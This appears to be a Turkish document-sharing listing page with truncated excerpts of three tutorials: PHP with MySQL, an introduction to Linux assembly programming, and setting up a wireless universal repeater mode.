Php Programlama Dili MySQL Uygulamaları Php Programlama Dili İle MySQL Uygulamaları S.Çağlar Onur caglar.onur@tubitak.gov.tr İşlenecek Konular? Php Nedir? MySQL Nedir? Kullanılan Yazılımlar MySQL e Bağlanmak MySQL ile İlgili Bilgi Almak Veritabanlar

Detaylı

Linux Assembly Programlamaya Giriş

Linux Assembly Programlamaya Giriş Linux Assembly Programlamaya Giriş Barış Metin Konular gcc / gas / ld Intel ve AT&T söz dizimleri gdb INT 80H C kütüphane fonksiyonları Stack Frame Örnek

Detaylı

UNIVERSAL REPEATER (TEKRARLAYICI/GENİŞLETİCİ MODU)

UNIVERSAL REPEATER (TEKRARLAYICI/GENİŞLETİCİ MODU) UNIVERSAL REPEATER (TEKRARLAYICI/GENİŞLETİCİ MODU) Tekrarlayıcı modu var olan bir kablosuz bağlantıyı tekrarlayarak daha uzak mesafelere genişletmek ve yaymak amacıyla kullanılır. Aşağıdaki adımları takip

Detaylı